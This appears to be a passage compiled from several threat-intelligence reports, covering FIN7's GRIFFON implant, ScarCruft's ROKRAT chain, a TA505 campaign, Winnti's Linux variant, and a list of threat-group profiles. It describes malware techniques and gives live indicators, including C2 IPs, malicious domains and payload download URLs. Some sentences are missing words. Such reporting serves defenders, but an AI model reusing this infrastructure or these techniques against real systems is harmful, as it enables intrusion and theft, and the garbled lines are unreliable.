Interestingly , more than 20 artifacts are retrieved from the system by this implant during the reconnaissance stage , from the date and time of operating system installation and membership in a Windows domain to a list of and the resolutions of the workstation’s monitors .
The second module is used by the operators to execute an obfuscated PowerShell script , which contains a Meterpreter downloader widely known as “ Tinymet “ .
This downloader , seen in past FIN7 campaigns , downloads a one-byte XOR encrypted ( eg. with the key equal to 0x50 or 0x51 ) piece of meterpreter shellcode to execute .
The third module allows the operators to take a screenshot of the remote system .
To do that , it also drops a PowerShell script on the workstation to execute .
The script executes an open-source .NET class used for taking a screenshot .
The resulting screenshot is saved at “ %TMP%/image.png ” , sent back to the attackers by the GRIFFON implant and then deleted .
The last retrieved module is a persistence module .
If the victim appears valuable to the attackers , a GRIFFON implant installer is pushed to the victim’s workstation .
This module stores another instance of the GRIFFON implant inside the registry to achieve persistence .
Here is a PowerLinks style method used by the attackers to achieve persistence and execute the GRIFFON implant at each user logon .
The new GRIFFON implant is written to the hard drive before each execution , limiting the “ file-less ” aspect of this method .
Through its light weight and modular architecture , the GRIFFON implant is the perfect validator .
Even though we have been able to retrieve four different modules , it is possible that the FIN7 operators have more modules in their toolsets for achieving their objectives on the victim’s workstation .
Attackers make mistakes , and FIN7 are no exception .
The major error made by its operators allowed us to follow the command and control server of the GRIFFON implant last year .
In order to trick blue teams and other DFIR analysts , the operators created fake HTTP 302 redirection to various Google services on their C2s servers .
This error allowed us to follow the infrastructure week by week , until an individual pushed on Twitter the heuristic to track their C2 at the end of December 2018 .
A few days after the tweet , in January 2019 , the operators changed their landing page in order to prevent this type of tracking against their infrastructure .
During the investigation related to the GRIFFON infrastructure , we found a strange overlap between the WHOIS record of an old GRIFFON C2 and the website of a fake company .
According to the website , that domain supposedly belongs to a legitimate security company “ fully owned by the Russian Government ” ( sic .
 ) and having offices in “ Moscow , Saint Petersburg and Yekaterinburg ” , but the address says the company is located in Trump Tower , in New York .
Given FIN7 ’s previous use of false security companies , we decided to look deeper into this one .
As we were looking at the content of the website , it became evident that almost all of the text used was lifted from legitimate security-company websites .
Phrases and sentences were borrowed from at least the following companies/sites : DKSec – www.dksec.com , OKIOK – www.okiok.com/services/tailored-solutions , MainNerve – www.mainnerve.com , Datics – www.datatics.com/cyber-security , Perspective Risk – www.perspectiverisk.com , Synack – https://www.synack.com/company , FireEye – https://www.fireeye.com/services/penetration-testing.html .
This company seems to have been used by the FIN7 threat actor to hire new people as translators , developers and pentesters .
During our research , we found various job advertisements associated with the company on freelance and remote-work websites .
While tracking numerous threat actors on a daily basis during the final days of 2018 and at the beginning of 2019 , we discovered various activity clusters sharing certain TTPs associated with the FIN7 intrusion set .
The link between these threat actors and FIN7 is still weak , but we decided to disclose a few hints regarding these in this blog post .
In his history , FIN7 has overlapped several times within terms of TTPs .
This activity cluster , which Kaspersky Lab has followed for a few years , uses various implants for targeting mainly banks , and developers of banking and money processing software solutions .
At the end of 2018 , the cluster started to use not only CobaltStrike but also Powershell Empire in order to gain a foothold on the victims’ networks .
After a successful penetration , it uses its own backdoors and the CobaltStrike framework or Powershell Empire components to hop to interesting parts of the network , where it can monetize its access .
FIN7 ’s last campaigns were targeting banks in Europe and Central America .
This threat actor stole suspected of stealing €13 million from Bank of Valetta , Malta earlier this year .
A few interesting overlaps in recent FIN7 campaigns : Both used macros to copy wscript.exe to another file , which began with “ ms ” ( mses.exe – FIN7 , msutil.exe – EmpireMonkey ) .
Both executed a JScript file named “ error ” in %TEMP% ( Errors.txt in the case of FIN7 , Errors.bat for EmpireMonkey ) .
Both used DocuSign decoy documents with different macros .
The macros popped the same “ Document decryption error ” error message—even if macro code remain totally different .
We have a high level of confidence in a historic association between FIN7 and Cobalt , even though we believe that these two clusters of activity are operated by different teams .
AveMaria is a new botnet , whose first version we found in September 2018 , right after the arrests of the FIN7 members .
We have medium confidence that this botnet falls under the FIN7 umbrella .
In fact , AveMaria is a classic infostealer bot that collects all possible credentials from various types of software : browsers , email clients , messengers , etc. , and can act as a keylogger .
Since the beginning of 2019 , we have collected more than 1300 samples and extracted more than 130 C2s .
To deliver their malware , the cyber criminals use spearphishing emails with various types of attachments : MS Office documents or spreadsheet files exploiting some known vulnerability like CVE-2017-11882 , or documents with Ole2Link and SCT .
They also use AutoIT droppers , password-protected EXE files and even ISO images .
What is interesting , in some emails , they ask targets to phone them if they have any questions , like the FIN7 guys do .
During the investigation into FIN7 , our threat-hunting systems found an interesting overlap in between the infrastructure of FIN7 and AveMaria .
Basically , two servers in the same IP range and AS14576 ( autonomous system ) share a non-standard SSH port , which is 222 .
One of the servers is a Griffon C2, and the other one , an AveMaria C2 .
Distribution of targets is another factor suggesting that these two malware families may be connected .
We analyzed AveMaria targets during February and March of 2019 .
The spearphishing emails were sent to various kinds of businesses only and did not target individuals .
Thirty percent of the targets were small and medium-sized companies that were suppliers or service providers for bigger players and 21% were various types of manufacturing companies .
We also spotted several typical FIN7 targets , such as retailers and hotels .
Most AveMaria targets ( 72% ) were in the EU .
At the end of 2018 , while searching for new FIN7 campaigns via telemetry , we discovered a set of activity that we temporarily called “ CopyPaste ” from a previously unknown APT .
Interestingly , this actor targeted financial entities and companies in one African country , which lead us to think that CopyPaste was associated with cybermercenaries or a training center .
This set of activity relied on open-source tools , such as Powershell Empire , and well-documented red teaming techniques , in order to get a foothold within the victim’s networks and avoid detection .
The links between CopyPaste and FIN7 are still very weak .
It is possible that the CopyPaste operators were influenced by open-source publications and do not have any ties with FIN7 .
During 2018 , Europol and DoJ announced the arrest of the leader of the FIN7 andcybercrime groups .
It was believed that the arrest of the group leader will have an impact on the group’s operations .
However , recent data seems to indicate that the attacks have continued without significant drawbacks .
One may say CobaltGoblin and FIN7 have even extended the number of groups operating under their umbrella .
We observe , with various level of confidence , that there are several interconnected groups using very similar toolkits and the same infrastructure to conduct their cyberattacks .
The first of them is the well-known FIN7 , which specializes in attacking various companies to get access to financial data or PoS infrastructure .
They rely on a Griffon JS backdoor and, and in recent attacks , Powershell Empire .
The second one is, which uses the same toolkit , techniques and similar infrastructure but targets only financial institutions and associated software/services providers .
We link the AveMaria botnet to these two groups with medium confidence : AveMaria ’s targets are mostly suppliers for big companies , and the way AveMaria manages its infrastructure is very similar to FIN7 .
The last piece is the newly discovered CopyPaste group , who targeted financial entities and companies in one African country , which lead us to think that CopyPaste was associated with cybermercenaries or a training center .
The links between CopyPaste and FIN7 are still very weak .
It is possible that the operators of this cluster of activity were influenced by open-source publications and do not have any ties with FIN7 .
All of the aforementioned groups greatly benefit from unpatched systems in corporate environments .
They thus continue to use effective spearphishing campaigns in conjunction with well-known MS Office exploits generated by the framework .
So far , the groups have not used any zero-days .
phishing documents may seem basic , but when combined with their extensive social engineering and focused targeting , they are quite successful .
As with their previous fake company “ Combi Security ” , we are confident that they continue to create new personas for use in either targeting or recruiting under a “ new ” brand , “ IPC ” .
AveMaria : 185.61.138.249 tain.warzonedns.com noreply377.ddns.net 185.162.131.97 91.192.100.62 server.mtcc.me doddyfire.dyndns.org 212.8.240.116 168.167.45.162 toekie.ddns.net warmaha.warzonedns.com .
CopyPaste : digi-cert.org somtelnetworks.com geotrusts.com secureclientupdate.com digicertweb.com sport-pesa.org itaxkenya.com businessdailyafrica.net infotrak-research.com nairobiwired.com k-24tv.com .
: hpservice-cdn.com realtek-cdn.com logitech-cdn.com pci-cdn.com appleservice-cdn.com servicebing-cdn.com .
ScarCruft continues to evolve, introduces Bluetooth harvester .
After publishing our initial series of blogposts back in 2016 , we have continued to track the ScarCruft threat actor .
ScarCruft is a Korean-speaking and allegedly state-sponsored threat actor that usually targets organizations and companies with links to the Korean peninsula .
We recently discovered some interesting telemetry on this actor , and decided to dig deeper into ScarCruft ’s recent activity .
This shows that the actor is still very active and constantly trying to elaborate its attack tools .
Based on our telemetry , we can reassemble ScarCruft ’s binary infection procedure .
It used a multi-stage binary infection to update each module effectively and evade detection .
In addition , we analyzed the victims of this campaign and spotted an interesting overlap of this campaign with another APT actor known as DarkHotel .
The ScarCruft group uses common malware delivery techniques such as spear phishing and Strategic Web Compromises ( SWC ) .
As in Operation Daybreak , this actor performs sophisticated attacks using a zero-day exploit .
However , sometimes using public exploit code is quicker and more effective for malware authors .
We witnessed this actor extensively testing a known public exploit during its preparation for the next campaign .
In order to deploy an implant for the final payload , ScarCruft uses a multi-stage binary infection scheme .
As a rule , the initial dropper is created by the infection procedure .
One of the most notable functions of the initial dropper is to bypass Windows UAC ( User Account Control ) in order to execute the next payload with higher privileges .
This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .
Afterwards , the installer malware creates a downloader and a configuration file from its resource and executes it .
The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload .
In order to evade network level detection , the downloader uses steganography .
The downloaded payload is an image file , but it contains an appended malicious payload to be decrypted .
The final payload created by the aforementioned process is a well known backdoor , also known as ROKRAT by Cisco Talos .
This cloud service-based backdoor contains many features .
One of its main functions is to steal information .
Upon execution , this malware creates 10 random directory paths and uses them for a specially designated purpose .
The malware creates 11 threads simultaneously : six threads are responsible for stealing information from the infected host , and five threads are for forwarding collected data to four cloud services ( Box , Dropbox , Pcloud and Yandex ) .
When uploading stolen data to a cloud service , it uses predefined directory path such as /english , /video or /scriptout .
The ScarCruft group keeps expanding its Exfiltration targets to steal further information from infected hosts and continues to create tools for additional data Exfiltration .
We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester .
This malware is responsible for stealing Bluetooth device information .
It is fetched by a downloader , and collects information directly from the infected host .
This malware uses Windows Bluetooth APIs to find information on connected Bluetooth devices and saves the following information .
We have found several victims of this campaign , based on our telemetry – investment and trading companies in Vietnam and Russia .
We believe they may have some links to North Korea , which may explain why ScarCruft decided to closely monitor them .
ScarCruft also attacked a diplomatic agency in Hong Kong , and another diplomatic agency in North Korea .
It appears ScarCruft is primarily targeting intelligence for political and diplomatic purposes .
We discovered one victim from Russia that also triggered a malware detection while staying in North Korea in the past .
The fact that this victim visits North Korea makes its special and suggests that it may have valuable information about North Korean affairs .
ScarCruft infected this victim on September 21, 2018 .
But before the ScarCruft infection , however , another APT group also targeted this victim with the host being infected with GreezeBackdoor on March 26, 2018 .
GreezeBackdoor is a tool of the DarkHotel APT group , which we have previously written about .
In addition , this victim was also attacked by the Konni malware on 03 April 2018 .
The Konni malware was disguised as a North Korean news item in a weaponized documents ( the name of the document was “ Why North Korea slams South Korea ’s recent defense talks with U.S-Japan.zip ” ) This is not the first time we have seen an overlap of ScarCruft and DarkHotel actors .
Members from our team have already presented on the conflict of these two threat actors at security conferences .
We have also shared more details with our threat intelligence customers in the past .
They are both Korean-speaking threat actors and sometimes their victimology overlaps .
But both group seem to have different TTPs ( Tactics , Techniques and Procedures ) and it leads us to believe that one group regularly lurks in the other ’s shadow .
The ScarCruft has shown itself to be a highly-skilled and active group .
It has a keen interest in North Korean affairs , attacking those in the business sector who may have any connection to North Korea , as well as diplomatic agencies around the globe .
ScarCruft tools : 02681a7fe708f39beb7b3cf1bd557ee9 Bluetooth info harvester .
ScarCruft tools : C781f5fad9b47232b3606e4d374900cd Installer .
ScarCruft tools : 032ed0cd234f73865d55103bf4ceaa22 Downloader .
ScarCruft tools : 22aaf617a86e026424edb7c868742495 AV Remover .
ScarCruft tools : 07d2200f5c2d03845adb5b20841faa94 AV Remover .
GreezaBackdoor of DarkHotel : 5e0e11bca0e94914e565c1dcc1ee6860 .
TA505 is Expanding its Operations In the last few days , during monitoring activities , Yoroi CERT noticed a suspicious attack against an Italian organization .
The malicious email contains a highly suspicious sample which triggered the ZLAB team to investigate its capabilities and its possible attribution , discovering a potential expansion of the TA505 operation .
The threat group is also known for its recent attack campaign against Bank and Retail business sectors , but the latest evidence indicates a potential expansion of its criminal operation to other industries too .
Dropper : 0c88e285b6fc183c96b6f03ca5700cc9ca7c83dfccc6ad14a946d1868d1cc273 Excel file with malicious macro .
The intercepted attack starts with a spear phishing email embedding a spreadsheet .
The document is weaponized with malicious macro code triggered when the user opens the document to see the content under the obfuscated view .
To understand its capabilities , the macro code has been isolated and analyzed in detail .
Surprisingly , the source code is composed by more than 1600 lines of code and it is highly obfuscated .
Paying more attention during the code analysis , we discovered that it is full of junk instructions used to declare and initialize variables never used .
Only a small portion of this code is actually used to start the infection , the rest is just junk code .
Once the macro is executed , the malware downloads two files from “ kentona[.su ” , using an SSL encrypted communication , and stores them in “ C:\Users\Public ” path : “ rtegre.exe ” and “ wprgxyeqd79.exe ” .
Generic : aafa83d5e0619e69e64fcac4626cfb298baac54c7251f479721df1c2eb16bee7( Executable file ) .
Trojan : 6f1a8ee627ec2ed7e1d818d32a34a163416938eb13a97783a71f9b79843a80a2 SFX ( self-extracting archive ) ( Executable file ) .
The “ wprgxyeqd79.exe ” sample actually is a Self Extracting Archive () containing four files designed to be extracted in the %TEMP% folder .
After that , it executes “ exit.exe ” which launches the “ i.cmd ” batch script .
This new script performs a ping to “ www[.cloudflare[.com ” for three times with a delay of 3000ms , testing the connectivity of the victim machine .
If the host is successfully reached , the script renames a file named “ kernel.dll ” , obviously not the real one , in “ uninstall.exe ” , another misleading name .
Then it invokes the renamed executable and runs it passing a series of parameter : “ uninstall.exe x -pQELRatcwbU2EJ5 -y ”These parameters are needed to self-decrypt the “ uninstall.exe ” file which is again another SFX archive .
The “ -p ” parameter , indeed , specify the password of the archive to be extracted .
The crucial file , at this point of the infection , is the SFX executable named “ uninstall.exe ” .
It has a structure similar to previous “ wprgxyeqd79.exe ” file : two of their files have the same name , but the content of this new SFX is extracted in the “ %ALLUSERSPROFILE%\Windows Anytime Upgrade ” directory .
Another time , the execution flow moves from “ exit.exe to “ i.cmd ” .
The script is quite different from the previous one : it guarantees its persistence on the victim machine through the setting of “ HKCU\Software\Microsoft\Windows\CurrentVersion\Run ” registry key , creating a new entry named “ Windows Anytime Upgrade ” which points to “ winserv.exe ” , just stored into the same folder .
Thus , the script provides to run “ winserv.exe ” .
An interesting part of the script is the continuous killing of every “ rundll32.exe ” process running into the victim machine , generates a huge amount of noise , as visible in the following process explorer view .
Anyway , just before the kill loop , the real malicious payload is executed : the“ winserv.exe ” file .
Analyzing it in depth , we discover it actually is the RMS ( Remote Manipulator System ) client by TektonIT , encrypted using the MPress PE compressor utility , a legitimate tool , to avoid antivirus detection .
TektonIT RMS acts as a remote administration tool , allowing the attacker to gain complete access to the victim machine .
Together with the RMS executable , there is another file named “ settings.dat ” containing the custom configuration prepared by the attacker .
It contains information like : Server address and port the client will connect to ; The password chosen by the attacker for the remote access ; The ID associated to the victim client .
All these information are automatically loaded by the RMS executable and firstly stored in the registry key “ HKCU\Software\tektonik\Remote MANIPULATOR System\Host\parameters ” .
At the next startup , the software will directly load the configuration from the just created key .
The client establishes a new connection with the remote command and control server hosted on a Bulgarian remote host 217.12.201.159 , part of a Virtual Dedicated Server subnet of the AS-21100, operated by ITL LLC .
After the reconstruction of the full infection chain , we noticed strong similarities with a recent spear-phishing attack campaign against an unspecified US retail company .
The attack , as stated by CyberInt , leveraged a command and control server located in Germany related to the TA505 actor : a very active group involved in cyber-criminal operation all around the world , threatening a wide range of high profile companies , active since 2014 .
The comparison of the infection chains reveals in both cases the attacker used a couple of SFX stages to deploy the “ RMS ” software : a legitimate remote administration tool produced by the Russian company “ TektonIT ” .
The tool is able to grant remote access and full , direct control of the infected machine to the group .
Also , some code pieces are directly re-used in theanalyzed campaigns , such as the “ i.cmd ” and “ exit.exe ” files , and , at the same time , some new components have been introduced , for instance the “ rtegre.exe ” and the “ veter1605_MAPS_10cr0.exe ” file .
During the analysis , we also noticed the “ veter1605_MAPS_10cr0.exe ” file slightly changed run after run , a few hours after the initial discovery the infection chain dropped it with different icons , different suffix , from “ cr0 ” to “ cr24 ” , and appendix from “ veter1605_ ” to “ veter2005_ ” .
This may indicate the campaign is still ongoing .
The TA505 group is one of the most active threat groups operating since 2014 , it has traditionally targeted Banking and Retail industries , as we recently documented during the analysis of the “ Stealthy Email Stealer ” part of their arsenal .
The peculiarity of this recent attack wave is it actually hit a company not strictly in the Banking or Retail sector , as they recently did , suggesting the threat group could be potentially widening their current operations .
Dropurl : kentona[.su – 47.245.58.124 https://kentona[.su/xpepriubgpokejifuv7efrhguskdgfjn/ananas.exe https://kentona[.su/xpepriubgpokejifuv7efrhguskdgfjn/pasmmm.exe C2: 217[.12.201.159 TA505 : 0c88e285b6fc183c96b6f03ca5700cc9ca7c83dfccc6ad14a946d1868d1cc27325 TA505 : 1ee1ba514212f11a69d002005dfc623b1871cc808f18ddfa2191102bbb9f623b TA505 : fd701894e7ec8d8319bc9b32bba5892b11bdf608c3d04c2f18eff83419eb6df0 TA505 : c69ce39ac3e178a89076136af7418c6cb664844b0ce5cb643912ed56c373a08a TA505 : 5310c2397ba4c783f7ee9724711a6da9b5c603b5c9781fff3407b46725e338b3 .
Winnti : More than just Windows and Gates .
The Winnti malware family was first reported in 2013 by Kaspersky Lab .
Since then , threat actors leveraging Winnti malware have victimized a diverse set of targets forvaried motivations .
While the name ‘ Winnti ’ in public reporting was previously used tosignify a single actor , pronounced divergence in targeting and tradecraft betweencampaigns has led industry consensus to break up the tracking of the continued use ofthe Winnti malware under different actor clusters .
The underlying hypothesis is that themalware itself may be shared ( or sold ) across a small group of actors .
In April 2019 , reports emerged of an intrusion involving Winnti malware at a GermanPharmaceutical company .
Following these reports , Chronicle researchers doubled downon efforts to try to unravel the various campaigns where Winnti was leveraged .
Analysisof these larger convoluted clusters is ongoing .
While reviewing a 2015 report of a Winnti intrusion at a Vietnamese gaming company , we identified a small cluster of Winnti samples designed specifically for Linux .
The following is a technical analysis of thisvariant .
The Linux version of Winnti is comprised of two files : a main backdoor ( libxselinux ) and a library ( libxselinux.so ) used to hide it ’s activity on an infected system .
 ‘ libxselinux.so ’ — the userland rootkit .
 libxselinux.so.old : 11a9f798227be8a53b06d7e8943f8d68 906dc86cb466c1a22cf847dda27a434d04adf065 4741c2884d1ca3a40dadd3f3f61cb95a59b11f99a0f980dbadc663b85eb77a2aThe library used to hide Winnti ’s system activity is a copy of the open-source userland rootkit Azazel , with minor changes .
When executed , it will register symbols for multiple commonly used functions , including : open() , rmdir() , and unlink() , and modify their returns to hide the malware ’s operations .
Distinct changes to Azazel by the Winnti developers include the addition of a function named ‘ Decrypt2 ’ , which is used to decode an embedded configuration similar to the core implant .
Unlike standard Azazel which is configured to hide network activity based on port ranges , the Winnti modified version keeps a list of process identifiers and network connections associated with the malware ’s activity .
This modification likely serves to simplify the operator ’s sample configuration process by not having to denote specific ports to hide .
Strings within this sample associated with the malware ’s operations are encoded using a single-byte XOR encoding .
The following is an example Python function to decode these strings .
 libxselinux.old : 7f4764c6e6dabd262341fd23a9b105a3 dc96d0f02151e702ef764bbc234d1e73d2811416 ae9d6848f33644795a0cc3928a76ea194b99da3c10f802db22034d9f695a0c23Winnti Linux variant ’s core functionality is within ‘ libxselinux ’ .
Upon execution , an embedded configuration is decoded from the data section using a simple XOR cipher .
The decoded configuration is similar in structure to the version Kaspersky classifies as Winnti 2.0, as well as samples in the 2015 Novetta report .
Embedded in this sample ’s configuration three command-and-control server addresses and two additional strings we believe to be campaign designators .
Winnti ver.1 , these values were designated as ‘ tag ’ and ‘ group ’ .
For context , embedded Winnti campaign designators have ranged from target names , geographic areas , industry , and profanity .
Winnti malware handles outbound communications using multiple protocols including : ICMP , HTTP , as well as custom TCP and UDP protocols .
Use of these protocols is thoroughly documented in the Novetta and Kaspersky reports .
While the outbound communication mechanisms are well documented , less attention has been paid to a feature of recent versions of Winnti we came across in the Linux variant ( as well as Windows ) that allows the operators to initiate a connection directly to an infected host , without requiring a connection to a control server .
This secondary communication channel may be used by operators when access to the hard-coded control servers is disrupted .
Additionally , the operators could leverage this feature when infecting internet-facing devices in a targeted organization to allow them to reenter a network if evicted from internal hosts .
This passive implant approach to network persistence has been previously observed with threat actors like Project Sauron and the Lamberts .
Initial technical information about this feature was shared by the Thyssenkrupp CERT in the form of an Nmap script that could be used to identify Winnti infections through network scanning .
This script identifies infected hosts by first sending a custom hello packet , immediately followed by an encoded request for host information , and then parsing the response .
The initial request , referred to as the helo/hello request in the Nmap script , is comprised of four DWORDs .
The first three are generated by rand() and the fourth is computed based on the first and third .
When received by a Winnti infected host , it will validate the received packet and listen for a second inbound request containing tasking .
This second request ( Encoded Get System Information Request ) is encoded using the same method as the custom TCP protocol used for communication with command-and-control servers , which uses a four-byte XOR encoding .
Before acting on the request , Winnti will validate the third DWORD contains the magic value 0xABC18CBA before executing tasking .
Clusters of Winnti related activity have become a complex topic in threat intelligence circles , with activity vaguely attributed to different codenamed threat actors .
The threat actors utilizing this toolset have repeatedly demonstrated their expertise in compromising Windows based environments .
An expansion into Linux tooling indicates iteration outside of their traditional comfort zone .
This may indicate the OS requirements of their intended targets but it may also be an attempt to take advantage of a security telemitry blindspot in many enterprises , as is with Penquin Turla and APT28 ’s Linux XAgent variant .
Utilizing a passive listener as a communications channel is characteristic of the Winnti developers ’ foresight in needing a failsafe secondary command-and-control mechanisms .
BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group .
The group has shown interest in prominent figures in the United Nations , as well as opposition bloggers , activists , regional news correspondents , and think tanks .
A group known by MicrosoftNEODYMIUM is Oreportedly associated closelyBlackOasis operations , but evidence that the group names are aliases has not been identified .
BRONZE BUTLER : REDBALDKNIGHT , Tick .
BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008 .
The group primarily targets Japanese organizations , particularly those in government , biotechnology , electronics manufacturing , and industrial chemistry .
Carbanak : Anunak , Carbon Spider .
Carbanak is a threat group that mainly targets banks .
It also refers to malware of the same name ( Carbanak ) .
It is sometimes referred toFIN7 , but these appear to be two groups using theCarbanak  malware and are therefore tracked separately .
Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government .
GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency sevises .
Gorgon Group is a threat group consisting of members who are suspected to be Pakistan based or have other connections to Pakistan .
The group has performed a mix of criminal and targeted attacks , including campaigns against government organizations in the United Kingdom , Spain , Russia , and the United States .
Sandworm Team : Quedagh , VOODOO BEAR .
Sandworm Team is a Russian cyber espionage group that has operated since approximately 2009 .
The group likely consists of Russian pro-hacktivists .
Sandworm Team targets mainly Ukrainian entities associated with energy , industrial control systems , SCADA , government , and media .
Sandworm Team has been linked to the Ukrainian energy sector attack in late 2015 .
Scarlet Mimic is a threat group that has targeted minority rights activists .
This group has not been directly linked to a government source , but the group 's motivations appear to overlap with those of the Chinese government .
While there is some overlap between IP addresses used by ScarletPanda , it has not been concluded that the groups are the same .
Silence is a financially motivated threat actor targeting financial institutions in different countries .
The group was first seen in June 2016 .
Their main targets reside in Russia , Ukraine , Belarus , Azerbaijan , Poland and Kazakhstan .
They compromised various banking systems , including the Russian Central Bank 's Automated Workstation Client , ATMs , and card processing .
Threat Group-1314 : TG-1314 .
Threat Group-1314 is an unattributed threat group that has usedcompromised credentials to log into a victim ’s remote access infrastructure .
Threat Group-3390 : TG-3390 ,Emissary Panda , BRONZE UNION , APT27 , Iron Tiger , LuckyMouse .
Threat Group-3390 is a Chinese threat group that extensively used strategic Web compromises to target victims .
The group has been active since at least 2010 and has targeted organizations in the aerospace , government , defense , technologyenergy , and manufacturing sectors .
Thrip is an espionage group that has targeted satellite communications ,telecoms ,and defense contractor companies in the U.S. and Southeast Asia .
The group uses custom malware as well as “ living off the land ” techniques .
NEODYMIUM is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims .
The group has demonstrated similarity to another activity groupPROMETHIUM due to overlapping victim and campaign characteristics .
NEODYMIUM is reportedly associated closelyBlackOasis operations , but evidence that the group names are aliases has not been identified .
Night Dragon is a campaign name for activity involving a threat group that has conducted activity originating primarily in China .
OilRig : IRN2 , HELIX KITTEN , APT34 .
OilRig is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014 .
The group has targeted a variety of industries , including financial , government , energy , chemical , and telecommunications , and has largely focused its operations within the Middle East .
It appears the group carries out supply chain attacks , leveraging the trust relationship between organizations to attack their primary targets .
FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran , use of Iranian infrastructure , and targeting that aligns with nation-state interests .
This group was previously tracked under two distinct groups , APT34 and OilRig , but was combined due to additional reporting giving higher confidence about the overlap of the activity .
APT16 is a China based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations .
APT17 : Deputy Dog .
APT17 is a China based threat group that has conducted network intrusions against U.S. government entities , the defense industry , law firms , information technology companies , mining companies , and non-government organizations .
APT18 : TG-0416 , Dynamite Panda , Threat Group-0416 .
APT18 a threat group that has operated since at least 2009 and has targeted a range of industries , including, manufacturing , human rights, government , andGroup5 is a threat group with a suspected Iranian nexus , though this attribution is not definite .
The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes , normally using Syrian and Iranian themes .
Group5 has used two commonly available remote access tools ( RATs ), as well as an Android RAT , DroidJack .
Honeybee is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam , Singapore , Argentina , Japan , Indonesia , and Canada .
It has been an active operation since August of 2017 and as recently as February 2018 .
Group7 : APT15 , Mirage , Vixen Panda , GREF , Playful Dragon , RoyalAPT .
Ke3chang  is a threat group attributed to actors operating out of China .
Ke3chang  has targeted several industries , including oil , government , military , and more .
Kimsuky : Velvet Chollima .
Kimsuky is a North Korean based threat group that has been active since at least September 2013 .
The group focuses on targeting Korean think tank as well as DPRK/nuclear-related targets .
The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co.compromise .
Lazarus Group : HIDDEN COBRA , Guardians of Peace , ZINC , NICKEL ACADEMY .
Lazarus Group is a threat group that has been attributed to the North Korean government .
The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta .
Malware used by Lazarus Group correlates to other reported campaigns , including Operation Flame , Operation 1Mission , Operation Troy , DarkSeoul , and Ten Days of Rain .
In late 2017 , Lazarus Group used KillDisk , a disk-wiping tool , in an attack against an online casino based in Central America .
North Korean group definitions are known to have significant overlap , and the name Lazarus Group is known to encompass a broad range of activity .
Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea .
Some organizations track North Korean clusters or groups such as Bluenoroff , APT37 , and APT38 separately , while other organizations may track some activity associated with those group names by the name Lazarus Group .
Leafminer : Raspite .
Leafminer is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017 .
Elderwood : Elderwood Gang , Beijing Group , Sneaky Panda .
Elderwood is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora .
The group has targeted defense organizations , supply chain manufacturers , human rights and nongovernmental organizations ( NGOs ) , and IT service providers .
Equation is a sophisticated threat group that employs multiple remote access tools .
The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives .
FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016 .
The group uses stolen data exfiltrated from victims to extort organizations .
Orangeworm is a group that has targeted organizations in the healthcare sector in the United States , Europe , and Asia since at least 2015 , likely for the purpose of corporate espionage .
Patchwork : Dropping Elephant , Chinastrats , MONSOON , Operation Hangover .
Patchwork is a cyberespionage group that was first observed in December 2015 .
While the group has not been definitively attributed , circumstantial evidence suggests the group may be a pro-Indian or Indian entity .
Patchwork has been seen targeting industries related to diplomatic and government agencies .
Much of the code used by this group was copied and pasted from online forums .
Patchwork was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018 .
PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control .
Release_Time : unknow Report_URL : https://attack.mitre.org/groups/ APT19 ： Codoso , C0d0so0 , Codoso Team , Sunshop Group .
APT19 a Chinese-based threat group that has targeted a variety of industries , including defense , finance , energy , pharmaceutical , telecommunications , high tech , education , manufacturing , and legal services .
In 2017 , a phishing campaign was used to target seven law and investment firms .
Panda the same group , but it is unclear from open source information if the groups are the same .
APT28 : SNAKEMACKEREL , Swallowtail , Group 74 , Sednit , Sofacy , Pawn Storm , Fancy Bear , STRONTIUM , Tsar Team , Threat Group-4127 , TG-4127 .
APT28 a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment .
This group reportedly compromised the Hillary Clinton campaign , the Democratic National Committee , and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election .
APT28 has been active since at least 2004 .
APT29 : YTTRIUM , The Dukes , Cozy Bear , CozyDuke .
APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008 .
This group reportedly compromised the Democratic National Committee starting in the summer of 2015 .
PLATINUM is an activity group that has targeted victims since at least 2009 .
The group has focused on targets associated with governments and related organizations in South and Southeast Asia .
Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005 .
The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm .
PROMETHIUM is an activity group that has been active since at least 2012 .
The group conducted a campaign in May 2016 and has heavily targeted Turkish victims .
PROMETHIUM has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics .
Elfin APT33 is a suspected Iranian threat group that has carried out operations since at least 2013 .
The group has targeted organizations across multiple industries in the United States , Saudi Arabia , and South Korea , with a particular interest in the aviation and energy sectors .
ScarCruft , Reaper , Group123 , TEMP.Reaper APT37 is a suspected North Korean cyber espionage group that has been active since at least 2012 .
The group has targeted victims primarily in South Korea , but also in Japan , Vietnam , Russia , Nepal , China , India , Romania , Kuwait , and other parts of the Middle East .
APT37 has also been linked to following campaigns between 2016-2018 : Operation Daybreak , Operation Erebus , Golden Time , Evil New Year , Are you Happy? , FreeMilk , Northern Korean Human Rights , and Evil New Year 2018 .
